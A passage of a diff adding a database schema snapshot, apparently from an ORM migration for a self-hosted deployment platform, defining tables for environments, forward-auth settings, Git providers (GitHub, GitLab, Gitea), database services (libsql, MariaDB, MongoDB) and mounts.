+ "previewDeploymentId"
+ ],
+ "columnsTo": [
+ "previewDeploymentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.environment": {
+ "name": "environment",
+ "schema": "",
+ "columns": {
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "projectId": {
+ "name": "projectId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "isDefault": {
+ "name": "isDefault",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "environment_projectId_project_projectId_fk": {
+ "name": "environment_projectId_project_projectId_fk",
+ "tableFrom": "environment",
+ "tableTo": "project",
+ "columnsFrom": [
+ "projectId"
+ ],
+ "columnsTo": [
+ "projectId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.forward_auth_settings": {
+ "name": "forward_auth_settings",
+ "schema": "",
+ "columns": {
+ "forwardAuthSettingsId": {
+ "name": "forwardAuthSettingsId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "authDomain": {
+ "name": "authDomain",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "baseDomain": {
+ "name": "baseDomain",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "https": {
+ "name": "https",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "certificateType": {
+ "name": "certificateType",
+ "type": "certificateType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'letsencrypt'"
+ },
+ "customCertResolver": {
+ "name": "customCertResolver",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "providerId": {
+ "name": "providerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "forward_auth_settings_providerId_sso_provider_provider_id_fk": {
+ "name": "forward_auth_settings_providerId_sso_provider_provider_id_fk",
+ "tableFrom": "forward_auth_settings",
+ "tableTo": "sso_provider",
+ "columnsFrom": [
+ "providerId"
+ ],
+ "columnsTo": [
+ "provider_id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "forward_auth_settings_serverId_server_serverId_fk": {
+ "name": "forward_auth_settings_serverId_server_serverId_fk",
+ "tableFrom": "forward_auth_settings",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "forward_auth_settings_serverId_unique": {
+ "name": "forward_auth_settings_serverId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "serverId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.git_provider": {
+ "name": "git_provider",
+ "schema": "",
+ "columns": {
+ "gitProviderId": {
+ "name": "gitProviderId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "providerType": {
+ "name": "providerType",
+ "type": "gitProviderType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'github'"
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sharedWithOrganization": {
+ "name": "sharedWithOrganization",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "git_provider_organizationId_organization_id_fk": {
+ "name": "git_provider_organizationId_organization_id_fk",
+ "tableFrom": "git_provider",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "git_provider_userId_user_id_fk": {
+ "name": "git_provider_userId_user_id_fk",
+ "tableFrom": "git_provider",
+ "tableTo": "user",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.gitea": {
+ "name": "gitea",
+ "schema": "",
+ "columns": {
+ "giteaId": {
+ "name": "giteaId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "giteaUrl": {
+ "name": "giteaUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'https://gitea.com'"
+ },
+ "giteaInternalUrl": {
+ "name": "giteaInternalUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "redirect_uri": {
+ "name": "redirect_uri",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "client_id": {
+ "name": "client_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "client_secret": {
+ "name": "client_secret",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitProviderId": {
+ "name": "gitProviderId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "access_token": {
+ "name": "access_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "refresh_token": {
+ "name": "refresh_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "scopes": {
+ "name": "scopes",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'repo,repo:status,read:user,read:org'"
+ },
+ "last_authenticated_at": {
+ "name": "last_authenticated_at",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "gitea_gitProviderId_git_provider_gitProviderId_fk": {
+ "name": "gitea_gitProviderId_git_provider_gitProviderId_fk",
+ "tableFrom": "gitea",
+ "tableTo": "git_provider",
+ "columnsFrom": [
+ "gitProviderId"
+ ],
+ "columnsTo": [
+ "gitProviderId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.github": {
+ "name": "github",
+ "schema": "",
+ "columns": {
+ "githubId": {
+ "name": "githubId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "githubAppName": {
+ "name": "githubAppName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubAppId": {
+ "name": "githubAppId",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubClientId": {
+ "name": "githubClientId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubClientSecret": {
+ "name": "githubClientSecret",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubInstallationId": {
+ "name": "githubInstallationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubPrivateKey": {
+ "name": "githubPrivateKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "githubWebhookSecret": {
+ "name": "githubWebhookSecret",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitProviderId": {
+ "name": "gitProviderId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "github_gitProviderId_git_provider_gitProviderId_fk": {
+ "name": "github_gitProviderId_git_provider_gitProviderId_fk",
+ "tableFrom": "github",
+ "tableTo": "git_provider",
+ "columnsFrom": [
+ "gitProviderId"
+ ],
+ "columnsTo": [
+ "gitProviderId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.gitlab": {
+ "name": "gitlab",
+ "schema": "",
+ "columns": {
+ "gitlabId": {
+ "name": "gitlabId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "gitlabUrl": {
+ "name": "gitlabUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'https://gitlab.com'"
+ },
+ "gitlabInternalUrl": {
+ "name": "gitlabInternalUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "application_id": {
+ "name": "application_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "redirect_uri": {
+ "name": "redirect_uri",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "secret": {
+ "name": "secret",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "access_token": {
+ "name": "access_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "refresh_token": {
+ "name": "refresh_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "group_name": {
+ "name": "group_name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitProviderId": {
+ "name": "gitProviderId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "gitlab_gitProviderId_git_provider_gitProviderId_fk": {
+ "name": "gitlab_gitProviderId_git_provider_gitProviderId_fk",
+ "tableFrom": "gitlab",
+ "tableTo": "git_provider",
+ "columnsFrom": [
+ "gitProviderId"
+ ],
+ "columnsTo": [
+ "gitProviderId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.libsql": {
+ "name": "libsql",
+ "schema": "",
+ "columns": {
+ "libsqlId": {
+ "name": "libsqlId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "databaseUser": {
+ "name": "databaseUser",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databasePassword": {
+ "name": "databasePassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sqldNode": {
+ "name": "sqldNode",
+ "type": "sqldNode",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'primary'"
+ },
+ "sqldPrimaryUrl": {
+ "name": "sqldPrimaryUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enableNamespaces": {
+ "name": "enableNamespaces",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalPort": {
+ "name": "externalPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalGRPCPort": {
+ "name": "externalGRPCPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalAdminPort": {
+ "name": "externalAdminPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "libsql_environmentId_environment_environmentId_fk": {
+ "name": "libsql_environmentId_environment_environmentId_fk",
+ "tableFrom": "libsql",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "libsql_serverId_server_serverId_fk": {
+ "name": "libsql_serverId_server_serverId_fk",
+ "tableFrom": "libsql",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "libsql_appName_unique": {
+ "name": "libsql_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.mariadb": {
+ "name": "mariadb",
+ "schema": "",
+ "columns": {
+ "mariadbId": {
+ "name": "mariadbId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "databaseName": {
+ "name": "databaseName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databaseUser": {
+ "name": "databaseUser",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databasePassword": {
+ "name": "databasePassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "rootPassword": {
+ "name": "rootPassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "args": {
+ "name": "args",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalPort": {
+ "name": "externalPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ulimitsSwarm": {
+ "name": "ulimitsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "mariadb_environmentId_environment_environmentId_fk": {
+ "name": "mariadb_environmentId_environment_environmentId_fk",
+ "tableFrom": "mariadb",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mariadb_serverId_server_serverId_fk": {
+ "name": "mariadb_serverId_server_serverId_fk",
+ "tableFrom": "mariadb",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "mariadb_appName_unique": {
+ "name": "mariadb_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.mongo": {
+ "name": "mongo",
+ "schema": "",
+ "columns": {
+ "mongoId": {
+ "name": "mongoId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "databaseUser": {
+ "name": "databaseUser",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databasePassword": {
+ "name": "databasePassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'mongo:8'"
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "args": {
+ "name": "args",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalPort": {
+ "name": "externalPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ulimitsSwarm": {
+ "name": "ulimitsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicaSets": {
+ "name": "replicaSets",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "mongo_environmentId_environment_environmentId_fk": {
+ "name": "mongo_environmentId_environment_environmentId_fk",
+ "tableFrom": "mongo",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mongo_serverId_server_serverId_fk": {
+ "name": "mongo_serverId_server_serverId_fk",
+ "tableFrom": "mongo",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "mongo_appName_unique": {
+ "name": "mongo_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.mount": {
+ "name": "mount",
+ "schema": "",
+ "columns": {
+ "mountId": {
+ "name": "mountId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "type": {
+ "name": "type",
+ "type": "mountType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "hostPath": {
+ "name": "hostPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "volumeName": {
+ "name": "volumeName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "filePath": {
+ "name": "filePath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "content": {
+ "name": "content",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serviceType": {
+ "name": "serviceType",
+ "type": "serviceType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'application'"
+ },
+ "mountPath": {
+ "name": "mountPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "libsqlId": {
+ "name": "libsqlId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mariadbId": {
+ "name": "mariadbId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mongoId": {
+ "name": "mongoId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mysqlId": {
+ "name": "mysqlId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "postgresId": {
+ "name": "postgresId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "redisId": {
+ "name": "redisId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "mount_applicationId_application_applicationId_fk": {
+ "name": "mount_applicationId_application_applicationId_fk",
+ "tableFrom": "mount",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_composeId_compose_composeId_fk": {
+ "name": "mount_composeId_compose_composeId_fk",
+ "tableFrom": "mount",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_libsqlId_libsql_libsqlId_fk": {
+ "name": "mount_libsqlId_libsql_libsqlId_fk",
+ "tableFrom": "mount",
+ "tableTo": "libsql",
+ "columnsFrom": [
+ "libsqlId"
+ ],
+ "columnsTo": [
+ "libsqlId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mount_mariadbId_mariadb_mariadbId_fk": {
+ "name": "mount_mariadbId_mariadb_mariadbId_fk",
+ "tableFrom": "mount",
+ "tableTo": "mariadb",
+ "columnsFrom": [
